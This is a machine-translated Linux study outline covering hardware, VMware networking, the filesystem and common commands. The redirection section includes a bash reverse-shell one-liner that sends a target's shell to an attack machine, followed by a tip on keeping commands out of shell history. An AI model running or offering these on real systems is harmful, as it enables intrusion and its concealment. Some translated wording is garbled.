Linux operating system-2022(Viper)

Detailed explanation of Linux commands

Linux operating system-2022(Viper)

For more information, please go to https://www.linuxcool.com/

Chapter 1: Computer Architecture

1.1- History of computer development

  • composition of computer

    • Von Neumann architecture
  • computer development

1.2.1-Computer hardware composition-CPU

  • CPU:Central Processing Unit (Central Processing Unit/Processor)

      - 计算机的心脏
    
    • The nature of the CPU

      • Large-scale and high-precision integrated circuits

          - 控制单元(Control Unit):完成数据处理整个过程中的调配工作
          - 控制单元(Control Unit):完成数据处理整个过程中的调配工作
          - 存储单元:负责存储原始数据以及运算结果
        
  • The relationship between CPU and chip

    • There are many kinds of chips, and CPU chips are one of them.
      Others include GPU, NPU, FPGA chips, etc.

      • In a word: CPU is a subset of chip
  • The difference between CPU and GPU (graphics card)

    • The cpu is the central processing unit of the computer, which plays a role in controlling the operation of the computer in the computer; the gpu is an auxiliary processor, which mainly handles the work related to graphics calculation in the computer and presents the data better on the display.
  • CPU important parameters

1.2.2-Computer Hardware Composition-Memory

  • Memory is also known as internal memory/main memory

  • Memory and storage space (different)

    • Running memory: RAM (Random Access Memory)
      Storage space: ROM (Read Only Memory)

1.2.3-Computer hardware composition-hard disk

  • Classification

    • HDD
    • SSD
  • Hard Disk -> External Storage

  • The difference between hard disk and memory

    • 1. Read and write speed
      2. Function
      3. Persistent storage

      • 1. CPU reading and writing speed > memory reading and writing speed > hard disk reading and writing speed

      • 2. The hard disk is mainly used to store data, and the main function of the memory is to temporarily store the calculation data in the CPU and exchange data with external storage such as the hard disk.

        • Memory is one of the most important components in a computer, it is a bridge between external memory and CPU. All programs in the computer run in the memory, so the performance of the memory has a great impact on the computer.

          • As long as the computer is running, the operating system will transfer the data that needs to be calculated from the memory to the CPU for calculation. After the calculation is completed, the CPU will send the result. The operation of the memory also determines the stable operation of the computer. The memory stick is composed of memory chips, circuit boards, gold fingers and other parts.
      • The data in the hard disk can be stored until the end of the life of the hard disk

        • The memory stick is ram, which needs to be refreshed by power supply to save data. If the power is turned off, the data will be lost. In addition, the rom that can save data after power off also has a lifespan, and the medium will also fail, making permanent storage difficult. (Shutdown memory data is cleared)

1.3.1-Program Operation Principle-Binary

  • Computers only know 0 and 1

  • Computers of other bases

    • Trinary

      • The former Soviet Union is better than a binary computer
      • The Jiuzhang computer in our country is also a ternary computer
    • Octal

    • decimal

    • hexadecimal

    • ……

1.3.2-Principle of Program Operation-Programming Language

  • Computer Language Development Process

    • machine language (low-level language)

      • Binary code language, the computer can directly recognize and run

        • Features: The operation is more complicated, but it can directly deal with the hardware, so the running speed is faster
    • Assembly language

      • Use English letters or symbol strings to replace operations

        • Example: LOAD A

          • The requirements for hardware are relatively high, between different hardware...
    • high level programming language

      • process oriented

        • C,Basic……
      • object oriented

        • Java,C++,Python……
      • Features: Simple coding, cross-platform...

1.4 - PC Operating System

  • Why do we need an operating system (Operating System)?

    • 1. Provide API to shield hardware differences
    • 2. Coordinate system resources

1.5-Server OS

  • Components of the server

    • server hardware

    • server operating system

      • Windows Server series
        Linux series: Redhat, CentOS, Debian, Ubuntu
        Unix series: SUN Solaris, BSD Unix
    • HTTP container (web server)

      • Tomcat、Apache、Nginx、Weblogic、JBoss……
    • application

      • Software projects developed in various programming languages: Java, PHP, C, Python, Ruby, Go...
  • Software Architecture

    • C/S architecture: Client/Server

      • Clients: Thunder, QQ, Baidu Netdisk, Tencent Classroom, Netease Cloud Music, Game
        Client, Tencent Video...
        Features: need to install and upgrade, occupy a lot of resources, high performance
    • B/S architecture: Browser/Server

      • Browsers: Chrome, FireFox, Edge, 360...
        Sites: Baidu, Zhihu, Weibo, Tieba, Taobao...
        Features: No installation and maintenance, cross-operating system, low resource usage
  • software service process

1.6- Why learn Linux

  • 1. Programs that use the network have a server

  • 2. Servers, most of which use the Linux operating system

  • study method

    • 1. Learn the key points first
    • 2. Geoscience by Category
    • 3. Do not forcibly memorize orders
    • 4. Multi-purpose, natural proficiency

Chapter 2: Introduction to Linux Operating System

2.1- Brief History of Operating Systems

  • The world's first computer was born in 1946

    • no operating system

      • punched card
  • Linux GUI

    • KDE,GNOME、Xfce、LXDE、MATE

      • echo $DESKTOP_SESSION
      • echo $GDMSESSION
      • ps -A | egrep -i “gnome|kde|mate|cinnamon|lx|xfce|jwm”

2.2-The birth and branch of Linux

  • Linux

    • Linux is not UNIX

      • Version 7 Unix - Closed Source
  • Unix branch

2.3-Linux kernel and distribution

  • Linux kernel

    • Kernel: device driver, file system, process management, network communication...

      • https://www.kernel.org/

        • uname -a
        • cat /proc/version
    • How to upgrade the kernel

      • blog.csdn.net/u013253075/article/details/119679385
  • What is the distribution (xing) version? (Distribution)

    • 1. The linux core only has the kernel part. After installation, there is no user interface/software. The kernel is the heart of the system and the most basic code in linux.

2. The linux distribution is based on the kernel, adding user interface and various software support. Such as CenterOS, Little Red Riding Hood and so on. On the basis of the kernel, different applications are developed to form a complete operating system.

  • View release version

    • cat /etc/redhat-release

Chapter 3: Install and configure CentOS

3.1- What is a virtual machine

  • Virtual [ˈvɜːtʃuəl] Machine virtual machine/physical machine

  • virtualization technology

    • Virtual Machine Software: VMware Workstation, VirtualBox, Virtual PC, Citrix Xen Desktop, Parallels Desktop (MacOS)
    • Virtualization technology: Xen, OpenVZ, KVM, Hyper-V
  • How Virtual Machines Work

  • Virtual machine usage scenarios

    • 1. Run a specific version of the operating system
    • 2. Isolate the physical machine for testing
    • 3. Improve resource utilization
  • Linux's native virtualization technology

    • Kernel-based Virtual Machine(KVM)

3.2-Docker container technology

  • Docker architecture diagram

  • Docker features

    • out of the box
    • rapid deployment
    • Portable
    • environmental isolation
  • Docker implementation principle

    • namespace - isolation of the system environment
    • Cgroup - resource limit
    • Image management file system operation - isolation of the root directory environment
  • Virtual machines and Docker

  • Comparison of virtual machine and Docker features

3.3 - Install VMware

  • Turn on virtualization

    • https://blog.csdn.net/weixin_44210782/article/details/104661303
    • 1. Search for the way to enter BIOS according to your computer model (mainboard model), press F8 F10 F12 or Del when starting up 2. Set in BIOS
  • VMware download and install

    • 00 - Install VMWare.docx
  • Physical machine blue screen problem

    • The problem of blue screen or restart of the physical machine caused by the virtual machine booting can be solved by installing the latest version of Vmware.

      • https://blog.csdn.net/weixin_55118477/article/details/121080830
      • https://blog.csdn.net/wwwwzz/article/details/114682821
  • virtual machine locked issue

    • 1. Reason: Started multiple VMWare programs and opened a virtual machine in multiple windows
    • 2. Solution: Find the original window, or delete all .lck files and .lck directories in the virtual machine directory
  • The virtual machine cannot be connected after restarting or closing the screen

    • 1. In the network adapter, disable VMnet8, and then enable it.
    • 2. It can be made into a script, right-click the administrator to run
  • VMware basic functions

    • Edit Network - "Virtual Network Editor"
    • Clones and snapshots
    • Transfer files with physical machine

3.4-VMware three network modes

  • basic knowledge

    • network card, router, switch

    • virtual switch

      • effect

        • Allow virtual machines of the same network mode to connect to each other
    • virtual network card

      • effect

        • Let the host and virtual machine connect to each other
    • The key issue

      • 1. How to connect the host to the virtual machine?
      • 2. How does the virtual machine connect to the Internet?
  • Bridge mode (Bridge)

      - 桥接-总结1
    
      	- 通信方式
    
      		- 1、虚拟机通过连接到虚拟机交换机,利用虚拟网桥连接到主机的网卡 
      		- 2、它不需要用到虚拟网卡,所以没有VMware Network Adapter
    
      	- 特点
    
      		- 1、物理机和虚拟机地位平等
      		- 2、虚拟机占用一个独立IP
      		- 3、使用物理机的网卡访问互联网
    
      	- 配置
    
      		- 虚拟机IP网段和主机一致
    
      - 桥接-总结2
    
      	- 连通情况
    
      		- 1、主机和虚拟机可以访问 
      		- 2、虚拟机之间可以相互访问
      		- 3、可以访问互联网
      		- 4、可以访问其他主机
      		- 5、其他主机可以访问本虚拟机
    
      	- 使用场景
    
      		- 创建一个虚拟服务器在内网提供网络服务
    
    • Directly use the network card of the physical machine to go online (the same network segment)
  • NAT mode (NAT: Network Address Translation)

      - NAT-总结1
    
      	- 通信方式
    
      		- 1、虚拟NAT设备(虚拟路由)连接到VMnet8虚拟交换机——虚拟机联网 用
      		- 2、主机通过VMware Network Adapter VMnet8虚拟网卡连接到VMnet8 虚拟交换机——主机和虚拟机连接用
    
      	- 特点
    
      		- 1、虚拟机在外部网络中没有自己的IP地址
      		- 2、虚拟NAT设备会把专用网络中的 IP 地址转换为主机系统的 IP 地址—— 网络地址转换
      		- 3、主机可以联网,虚拟机就可以联网 
    
      	- 配置
    
      		- 无
    
      - NAT-总结2
    
      	- 连通情况
    
      		- 1、主机和虚拟机可以访问
      		- 2、虚拟机之间可以相互访问
      		- 3、可以访问互联网
      		- 4、本机虚拟机可以访问其他主机
      		- 5、其他主机不能访问本机虚拟机。解决办法:共享网络、端口映射
    
      	- 使用场景
    
      		- 大部分情况
    
  • Host-only mode (Host-Only)

      - 仅主机-总结1
    
      	- 通信方式
    
      		- 主机使用VMware Network Adapter VMnet1虚拟网卡连接到VMnet1虚 拟交换机
    
      	- 特点
    
      		- 没有了NAT设备(虚拟路由),所以不能上网
    
      	- 配置
    
      		- 无
    
      - 仅主机-总结2
    
      	- 连通情况
    
      		- 1、主机和虚拟机可以访问
      		- 2、虚拟机之间可以相互访问
      		- 3、不能访问互联网
      		- 4、不能访问其他主机
      		- 5、其他主机不能访问本机虚拟机
    
      	- 使用场景
    
      		- 创建一个与其他机器隔离的网络
    

3.5.1 - Install CentOS

  • 01-How to use the decompressed version of CentOS7.docx (recommended)
  • 01-Install CentOS.docx

3.5.2-VI Editor

  • three modes

    • 1. Command mode: only input commands

    • 2. Edit mode (insert mode): you can modify the text

      • i/…
    • 3. Bottom row mode (bottom command mode): end operation

      • q!/wq/…
  • question

    • 1. Read-only permission

      • Execute with root user
    • 2. Temporary swp file

3.5.3-CentOS configure static IP

  • Why configure a static IP

    • Static IP configuration is not necessary

    • After installing the CentOS virtual machine, generally we will connect to the virtual machine through Xshell instead of directly using the terminal (Terminal) in the virtual machine to enter commands.

      • If you use the default dynamic IP allocation, the IP will change every time the virtual machine is powered on, and the Xshell connection needs to modify the IP. So here we need to set the IP to a static IP, as long as the virtual machine is turned on, it can be connected.
  • Question: If the network environment changes, such as changing from wired to wireless, or the computer moves from the office to home, and the host IP (network segment) changes, do I need to reset the static IP of the virtual machine?

    • The answer is no, it does not affect the connection between the physical machine and the virtual machine.
  • 02-VMware+Centos7 static IP setting method.docx

    • Criteria for a successful virtual machine network connection:

      • 1. The physical machine can ping the virtual machine IP
      • 2. The virtual machine can ping baidu.com

3.5.4-CentOS modify yum source

  • Yum is a software manager in CentOS. Installing software through yum can automatically solve the problem of package dependencies, eliminating the trouble of manually installing dependent packages.

    • Yum uses a central warehouse to record and manage software dependencies. The default is mirrorlist.centos.org, which is called the official CentOS yum source.

      • This warehouse can be compared to the application market of mobile phones, and there are many application markets, such as Huawei application market, Xiaomi application market, Yongyongbao and so on.
  • 03-CentOS7 replaces yum source with Alibaba Cloud.docx

3.5.5-Xshell connects to CentOS

  • remote connection tool

    • Xshell (personal recommendation)

      • 04-Xshell7 tutorial.docx
    • FinalShell (domestic free)

    • MobaXterm

    • SecureCRT

  • add connection

    • Modify the encoding to solve Chinese garbled characters

      • window arrangement
  • SSH、SSH Key

    • SSH (Secure Shell, secure shell)

    • SSH Key

      • 1. The client generates a key pair (public key, private key)

      • 2. The client sends the public key to the server for storage (normally requires a password)

      • 3. The client encrypts the message with the private key and sends it to the server

      • 4. The server uses the public key to decrypt, and the decryption is successful, indicating that the keys match

      • 5. Client password-free login is successful

        • "You agreed to keep my public key, so you can decrypt my messages, so you know me"
  • Physical and virtual machine file transfer

    • xftp
    • sz file
    • rz
    • vmtools drag
    • QQ
    • wget
    • scp
    • ……

Chapter 4: Basic knowledge of Linux operating system

4.1-Linux system structure

  • Linux system structure

    • 1. Kernel

      • 1. Management process
      • 2. Manage memory
      • 3. Management drive
      • 4. Manage files and networks
      • ……
    • 2、Shell

      • effect

        • Receive the user's command, convert it, and hand it over to the kernel for execution

          • cat —> open() read()
      • features

        • 1. Simplify operation
        • 2. Security
      • Linux Shell Tools

      • Shell and Terminal

      • Shell Programming/Shell Scripting (.sh)

    • 3. File system

      • "Everything is a file"

        • Ordinary files, directories, processes (/proc), input and output devices (/dev), network byte stream sockets, link files, pipe files
      • root directory files/

        • bin

          • Store executable instructions for ordinary users

            • Ability to perform processing even in single-user mode
        • boot

          • boot directory

            • Including the Linux kernel file and the files required for booting
        • dev

          • Equipment catalog

            • All hardware devices and peripherals are placed in this device directory, such as sound cards, disks
        • etc

          • Various configuration file directories

            • Most configuration properties are stored here
        • lib

          • Library file storage location, library files required by bin and sbin

            • Windows-like DLLs
        • media

          • Removable device mount directory

            • Temporary hanging directories like U disk, CD, mobile hard disk, etc.
        • mnt

          • User temporarily mounts other file systems

            • Additional devices can be mounted here, relatively temporarily
        • opt

          • Third-party software installation directory

            • Now habitually placed in /usr/local
        • proc

          • virtual file system

            • Usually it is a mapping in memory. Pay special attention to deleting data files by mistake, such as DB, as long as the system does not restart, there is still a high probability that the data can be retrieved
        • root

          • sysadmin home directory

            • Except root, other users are placed in the /home directory
        • run

          • Files required for the system to run

            • It was previously prevented from being in /var/run, and later split into a separate /run directory. Regenerate the corresponding directory data after restarting
        • sbin

          • Administrative commands that only root can run

            • Similar to bin, but only belongs to the root administrator
        • srv

          • The data directory that needs to be accessed after the service starts
        • sys

          • Like proc, the virtual file system

            • Record core system hardware information
        • tmp

          • Store temporary files directory

            • All users can read and write this directory
        • usr

          • application placement directory

            • Your own software is installed in the /etc/usr/local directory
        • was

          • Store files that are frequently changed during system execution
      • user home directory

        • home directory

          • The home directory of the root user is /root
          • Other users' home directories are /home/username
        • Working directory: working directory

          • cd space or cd ~
        • directory reference

          • cd home and cd home/ are different, only directories can have /, files cannot have /
    • 4. Application

4.2-Linux Common Operations

  • command help

    • man command (manual) - specific parameters and usage methods
    • whatis command - a brief description of the command
    • info command——detailed introduction
    • help command - Linux built-in command
  • Shut down and restart (root user)

    • shutdown

      • poweroff
      • shutdown -h now
      • stop -p
    • reboot

      • reboot
  • Shortcuts and commands

    • tab key

      • Completion of commands and directories (auto-prompt)
    • Arrow key

      • Previous command: Arrow key up; Next command: Arrow key down
    • Ctrl+r

      • Search history commands, press Enter to execute
    • !cd:

      • Repeat the most recent historical command starting with cd
    • Ctrl+insert

      • Copy (my computer is Fn+Ctrl+insert)
    • Shift+insert

      • Paste (my computer is Fn+Shift+insert)
    • Alt+insert

      • Copy and paste (Fn+Alt+insert on my computer)
    • Ctrl+E

      • move the cursor to the end of the line
    • Ctrl+A

      • move the cursor to the beginning of the line
    • Ctrl+K

      • Clear the content from the cursor to the end of the line
    • Ctrl+U

      • Clear everything from the cursor to the beginning of the line
    • clear

      • Clear the screen, but the commands are still there
    • history -c

      • Clear history command key: echo > ~/.zsh_hsitory
  • Alias ​​configuration alias

    • View alias: alias
    • Set an alias (take bash as an example): vim ~/.bashrc
    • Format: alias short='xxx;xxx'
    • Effective: source ~/.bashrc
  • wildcard

      • any character
      • single character
    • []

      • In the matching range, such as [0-9]-az]
    • {}

      • multiple || { .log, .txt}
      • Create multiple files touch {0...10}.txt
    • ^

      • Reverse || [^txt]*Find is not the end of .txt
  • system environment variable

    • The role of environment variables?
    • View all variables: env
    • View a single variable: echo $XXX
    • User variables: ~/.bashrc
    • System variables: /etc/profile
  • Case: Setting JDK environment variables (can be skipped, this section is not important)

    • vim /etc/profile
    • export JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74
      export PATH= J A V A H O M E / b i n : JAVA_HOME/bin: JAVAHOMR / bin:PATH
      export CLASSPATH=.: J A V A H O M E / l i b / d t . j a r : JAVA_HOME/lib/dt.jar: JAVAHOME/lib/dt.jar:JAVA_HOME/lib/tools.jar
    • source /etc/profile

4.3 - File Descriptors and Redirection

  • File descriptor File Descriptor

  • redirect

    • output redirection

    • input redirection

  • Bash rebound connection case

    • bash -i >& /dev/tcp/192.168.142.44/7777 0>&1

      • bash -i opens an interactive shell on the target machine;
        /dev/tcp/192.168.142.44/7777 is connected to the IP port of the attack machine; >& and &> are equivalent, representing standard output 1 + error output 2; The output is redirected to the attacker - for receiving the results.
      • 0>&1, the left is standard input. On the right is standard output, with output redirected. Redirect the input of the target aircraft to the output of the attack aircraft - for receiving commands.
        Therefore, the input and output of the target aircraft are all sent to the attack aircraft.
  • Replenish

    • 1. I don't want the operating system to record my input commands

      • 1. There is a missing configuration in ~/.bashrc

        • echo HISTCONTROL=ignorespace >> ~/.bashrc

          • 2. Just add a space in front of the command
    • 2. Usage of negation symbol

      • For example: ls [^w]*

Chapter 5: File and Directory Management

5-Linux file and directory management

  • command format

    • General command format

      • Command Options Arguments command option parameters rm -rf /*

        • Options: How the command behaves

        • Arguments parameter: the object of the command

        • NOTE: This is a joke and this command is very dangerous! ! ! ! ! ! ! , do not execute! ! ! !

  • specification

    • Order
    • space
    • capitalization
    • order
  • Command Options Detailed Reference

    • https://wangchujiang.com/linux-command
    • https://www.linuxcool.com
  • File and Directory Management

    • List directory contents and attributes

      • command: ls

        • Full spell: list

        • options

          • -a

            • show all hidden files
          • -l

            • listed as a list
          • -al

          • -the

        • Format: ls option filename

          • example:

            • ls -a
            • ll --block-size=M
    • Print working path

      • Command: pwd

        • 全拼:print working directory[dəˈrektəri]
        • Format: pwd
    • switch working directory

      • command: cd

        • Quanpin: change directory
        • Format: cd relative path or absolute path
    • view file type

      • Command: file[faɪl]

        • Format: file The path option file or directory name of the file to be searched

          • file -i filename
        • options

          • -name name

            • Example: find /etc -name a*
            • 例:find / -name “aaa” 2>/dev/null
          • -type type parameter

    • Copy a file or directory

      • command: cp

        • Full spelling: copy[ˈkɒpi]

        • Format: cp option source file target file

        • options

          • -R/r: Recursive processing, processing all files and subdirectories under the specified directory together;
          • -f: Force (force[fɔːrs]) to copy a file or directory, regardless of whether the target file or directory already exists;
    • Find a file or directory -1

      • find

        • Format: find directory option name or pattern

        • -name name

          • find /etc -name a*
          • find / -name “aaa” 2>/dev/null
        • -type [taɪp] type parameter

          • f for ordinary files, d for directories
          • find /root -type f
        • -size[saɪz] size

          • find /root -type f -size 10M
        • -exec command

          • Execute the content found by find as the parameter of the command {} is the content found

            • find . -name “*.txt” -exec rm -rf {} ; (including subdirectories)
            • find . -name aaa -exec mv {} bbb ;
    • Other find commands

      • whereis : find binary programs, codes and other related file paths
      • which: Find and display the absolute path of the given command
      • locate: The updatedb program will run once a day to build a file index
    • Create a directory

      • Command: mkdir

        • Full spell: make direcotry

        • options

          • -p

            • Multiple directories can be created at once

              • mkdir -p aa/bb/cc
        • Format: mkdir option directory name

          • mkdir test
          • mkdir -p /usr/local/soft/redis
    • move or rename

      • Command: mv

        • Full spell: move[muːv]

        • Format: mv option original file new file

          • mv 1.txt 2.txt
          • mv /a/1.txt /b/1.txt
    • Delete Files

      • Command: rm

        • Full spell: remove[rɪˈmuːv]

        • Format: rm option(s) filename

          • Delete empty directories: rmdir

          • delete non-empty directory

            • -r/R

              • recursive (delete along with subfolders)
            • -f

              • force delete
            • -v

              • Display the detailed execution process of the command
            • -i

              • Ask the user before deleting a file or directory
            • For example:

              • find . -name “a.json” -exec rm -rf {}
    • create empty file

      • Command: touch

        • Format: touch option file name

          • touch a.txt
      • hint

        • If a file already exists, use the touch command again to create an identical file. After execution, it will not remind or modify anything. It will only change the last modification time (time stamp) of the file, and the others are the same as before
  • mount and link

    • mount mount

      • Question: How can a directory tree use multiple disks?

        • Original path: /dev/sdb1 Mounted to: /sdb-u
        • mkdir /sdb-u
        • mount /dev/sdb1 /sdb-u
      • After mounting:

    • link ln

      • Full spelling: link[lɪŋk]

      • Format: ln source file link file

        • hard link

          • ln 1.php hard.php

          • vim hard.php

          • cat 1.php

          • Notice:

            • If the two hard-linked files modify the hard-linked file, the original file will also be updated synchronously; if the hard-linked file is deleted, the original file will not be affected.
            • 1. Users cannot create hard links to directories
            • 2. Only the same file system can create hard links (tmpfs NTFS FAT32)
        • soft link (-s)

          • View soft links:

            • ll /usr/bin/nc
          • How to delete soft links

            • rm soft link name
          • Create a soft link:

            • ln -s /usr/local/phpstudy/system/phpstudyctl /usr/bin/study
          • Notice:

            • The source file is deleted, and the soft link becomes invalid

Chapter 6: File Compression and Decompression

6-File compression and decompression

  • The difference between packaging and compression

    • Packaging: multiple files into one file - reduce the number of files

      • pack/unpack pack/unpack

      • The role of packaging: reduce the number of times to transfer files

    • Compression: reduce the size of a file - reduce file size

      • Compression/decompression compress/decompress

        • How to evaluate the quality of compression

          • Compression ratio: volume after compression / volume before compression
      • compression

        • lossy compression
        • lossless compression
    • Note: Packing, unpacking, compressing, and decompressing all take time

      • A Compression Algorithm Using Time for Space
  • Common Compression Formats

    • HTTP:gzip

      • gzip, deflate (zlib format), br (Brotli), identity (not compressed)
    • Windows:zip、rar、7z

      • winrar, 360 compression, bandizip, 7zip
    • Linux:gzip(tar.gz=.tgz)、bzip2(.bz2)、zip

      • Compressed volume: tar.bz2 < tgz < tar
      • Compression and decompression time: tar.bz2 < tar < tgz
  • tar command

    • Tar common options (tar is the abbreviation of Tape Archive)

      • -c

        • Pack
      • -x

        • unpack
      • -v

        • Show packing/unpacking process
      • -f

        • Specifies the file name, which must be placed after all options
    • tar usage examples

    • tar other operations

  • zip command

    • Example usage of zip

Chapter 7: Viewing and Manipulating File Contents

7- View and process file content

  • text files and binary files

    • text file

      • ASCII, UTF-8, Unicode, ANSI, txt, xml, conf, properties, yml and other configuration files, log files, source code
    • binary file

      • Executable programs, pictures, audio, video
  • cat

    • Full spell: concatenate [kənˈkætəneɪt] connection
    • Format: cat filename
  • more/less

    • more/less split screen operation

    • more/less search

      • /[Find characters] # With the n key, search all from top to bottom.

      • ?[Find characters] # With the n key, search all from bottom to top.

      • After pressing Enter:

        • The n keypad finds the next match.
        • N last matching content.
  • head/tail

    • head -n 10 redis.conf

    • tail -n 10 info.log

    • tail -f /var/log/messages

      • -f update in real time
  • grep, pipe symbol

    • 全拼:Globally search a Regular Expression and Print

      • Globally search for regular expressions and print

        • Format: grep option pattern filename
    • The difference between grep and find commands

      • grep is to search for a keyword in the content of the file
      • find is to search for a file with a specified name
    • pipe symbol pipe

      • Treat the data originally output to the screen by the previous command as the standard input of the next command

        • command1 | command2 | command3

        • For example:

          • cat test.log | more -5 displays 5 lines each time
          • ps -ef | less -N display line numbers
          • netstat -an|grep 3306
          • cat -n info.log |grep “debug” | more
  • wc

    • Full spell: word count

      • -l or --lines display the number of lines

      • -w or --words only display word count

      • Clever usage: to count how many files are in a certain directory

        • ls -l | wc
      • For example:

        • wc -l redis.conf
        • wc -w redis.conf
  • diff

    • Full spell: different

      • comparison file

        • diff diff_A.txt diff_B.txt
      • compare directory

        • -r option

          • diff -r aaa bbb

Chapter 8: Text Editors

8-Linux text editor

  • Windows

    • Notepad (Notepad), Sublime, UltraEdit, etc.
  • Linux

    • 6/VIM、nano、Emacs、Sed、gedit、Kate etc
  • The difference between VI and V IM

    • VI:Visual Interface

      • 1976 Bill Joy(ex)
    • Vim:VI IMproved

      • 1991 Bram Moolenaar
  • VIM configuration file

    • global configuration

      • /etc/vimrc
    • user configuration

      • ~/.vimrc
    • Detailed configuration reference:

      • https://blog.csdn.net/xiao_yi_xiao/article/details/118491698
  • V IM three modes

    • the difference

      • Command mode: manipulate text files through commands
      • Edit mode: edit the content of the text
      • Bottom line mode: used when ending the operation
    • to switch

    • command mode

      • Error message:

        • E325: ATTENTION Found a swap file by the name “.redis.conf.swp”
        • Reason: editing is not finished
        • Solution: save the text file, or delete the .swp
      • Move cursor operation

      • search replace operation

      • delete and copy operations

    • edit mode

      • enter edit mode

      • undo

    • Bottom Row Mode

      • Enter bottom row mode

Chapter 9: Software Installation

9-Linux software installation

  • 1. Why does the software need to be installed?

    • Windows software installation process

      • 1. Installation inspection
      • 2. Release the file
      • 3. Copy the executable file
      • 4. DLL dynamic link library/installation service
      • 5. Register
      • 6. Start menu and shortcuts
    • Windows installation file

    • Windows executable program

    • Linux executable program

  • 2. The difference between script and program

    • No need to compile: Javascript, Python, Ruby...
    • What needs to be compiled: C, C++, Swift, Kotlin, Go...
    • Interpretation: Execute while explaining
    • Compiled type: the computer can directly execute
  • 3. Several ways to install software in Linux

    • Main factions of Linux

    • Common installation methods of Linux software

      • Source code compilation (make), rpm, deb, yum, apt, Docker...

      • Source installation

          - 案例(教程合集)
        
          	- 41-CentOS7源码方式安装Redis 6.docx
          	- 42-CentOS7源码方式安装nginx.docx
        
      • rpm install

        • RedHat Package Manager

        • rpm option

        • rpm defect: cannot resolve software dependencies

      • yum install

        • YUM(Yellow dog Updater, Modified)

          • Case (tutorial collection)

            • 06-CentOS7yum way to install Docker.docx
            • 43-CentOS7 yum way to install MySQL 5.docx
        • yum operations and options

      • The difference between DNF and YUM

      • Debian system

      • FreeBSD system

  • 4. CentOS installation software case

    • How to install Linux software

      • CentOS enables Chinese input method

        • https://blog.csdn.net/carefree2005/article/details/119607891

          • Win + space bar to switch
          • grep “password” /var/log/mysqld.log
      • 43-CentOS7 yum way to install MySQL 5.docx

  • 5. Linux software version management

    • update-alternatives

      • Check:

        • update-alternatives --display java
      • Add to:

        • alternatives --install /usr/bin/java java /usr/local/jdk-11.0.2/bin/java 3
        • /usr/bin/java: registered address, soft link
        • java: service name
        • /usr/local/jdk-11.0.2/bin/java: actual program path
        • 3: Priority
      • Toggle:

        • update-alternatives --config java

Chapter 10: User Management

10.1-Linxu user and authority management

  • Users and Permissions

  • user group

    • Group ID - Group ID - GID

    • Group related commands

        - 用户必须依赖用户组的存在
      
  • User ID-User ID-UID

    • User related commands
  • User Management Related Documents

    • /etc/group

    • /etc/passwd

    • /etc/shadow

    • password format

    • /etc/sudoers

  • User Management Basic Commands

    • basic command
  • Relationship between users and files

    • File owner: Belonging user, Belonging group
    • Access rights: read, write, execute
  • File and Directory Attribution

  • File and Directory Permissions

    • file type
  • user category

  • permission category

  • permission category

  • Modify permissions

10.2-sudoers filling holes

  • Use the visudo command to open and edit, and then add a sudo at the front when executing special commands (using the visudo command to modify the configuration file is a temporary operation)

Chapter 11: Network Management

11-Linux Network Management

  • Basic Network Concepts

    • physical address/logical address

      • network card

      • MAC address (Media Access Control) media access control

      • IP (Internet Protocol Address) Internet protocol address

      • For example:

        • 192.168.142.132
        • 47.106.11.166
    • public private

      • LAN - use private IP address
      • Internet - use public IP address
    • NAT

      • NAT: Network Address Translation, network address translation
    • IPv4、IPv6

    • Allocation of public network IP addresses

    • Dynamic, Static IP

      • DCHP (Dynamic Host Configuration Protocol) Dynamics
      • static
    • 127.0.0.1

      • Loopback address (loop back)

        • Can ping through means that the network card is installed normally
    • port port

      • Subtopic 1
    • Domain name Domain Name

    • Domain name Domain Name

    • DNS server background configuration

  • network configuration file

  • View and configure network

    • ifconfig

      • 全拼:network interfaces configuring

      • Located in the net-tools toolkit

        • Network parameters can be dynamically configured
      • Other option parameters: https://www.linuxcool.com/

    • ifconfig and ip

    • ip

      • located in the iproute toolkit

        • Add devices, start and stop network devices, set IP, set gateway...

          • Other option parameters: https://www.linuxcool.com/
  • connectivity detection

    • ping

      • Quanpin: Packet Internet Groper, Internet packet explorer
      • ping baidu.com
      • ping 192.168.142.151
    • telnet

      • remote login

        • telnet bbs.newsmth.net
      • detection port

        • telnet 192.168.142.132 80
        • telnet 192.168.142.132 22
  • check network connection

    • netstat(ss)

      • Quanpin: network statistics

      • Check the network connection status of the program:

        • netstat -ap | grep ssh
      • Check the network connection status of the port:

        • netstat -ap | Grip 3306
  • domain name related

  • download transfer

    • conventional way

      • Xshell drag and drop --- upload
      • xftp——two-way, or Filezilla, FlashFTP
      • sz file name———download
      • rz——upload
      • vmtools drag --- incoming
      • QQ——two-way
    • wget

    • scp

    • curl

      • Quanpin: Client URL
      • curl https://www.baidu.com > page.html
      • curl -X POST -d ‘a=1&b=nihao’ URL
      • curl -H “Content-Type: application/json” -X POST -d ‘{“abc”:123,“bcd”:“nihao”}’ URL
  • firewall settings

Chapter 12: System State Management

12-Linux system status management

  • 1. View system information

    • 1. Date and time

      • date

      • cal

      • uptime

        • Check how long the machine has been up
      • w

    • 2. System version

      • cat /etc/redhat-release
      • uname -a
      • cat /proc/version
  • 2. Process management

    • 1. Program program

    • 2. Process process

    • 3. Service service

    • systemctl list-unit-files |grep mysql

      • cat /etc/services |grep mysql
    • run the program

      • 1. Run ./xxx in the foreground
      • 2. Run nohup in the background ./xxx &
    • View process top

    • ps

      • Full spell: process status

      • ps -ef

      • ps -aux

      • pstree

    • service management

      • systemctl

      • systemctl and service

      • stop program

          - kill -信号量 进程号
          - 例如:kill -9 11964
        
  • 3. Memory usage

    • free
  • 4. Disk usage

    • of

      • Full spell: disk usage
    • Comprehensive command sar

  • 5. Scheduled tasks

    • Tool: crontab

    • Full spell: cron table

    • Cron expression:

      • https://tool.lu/crontab
    • crontab command

    • cron job file

Guess you like

Origin blog.csdn.net/m0_52051132/article/details/128362191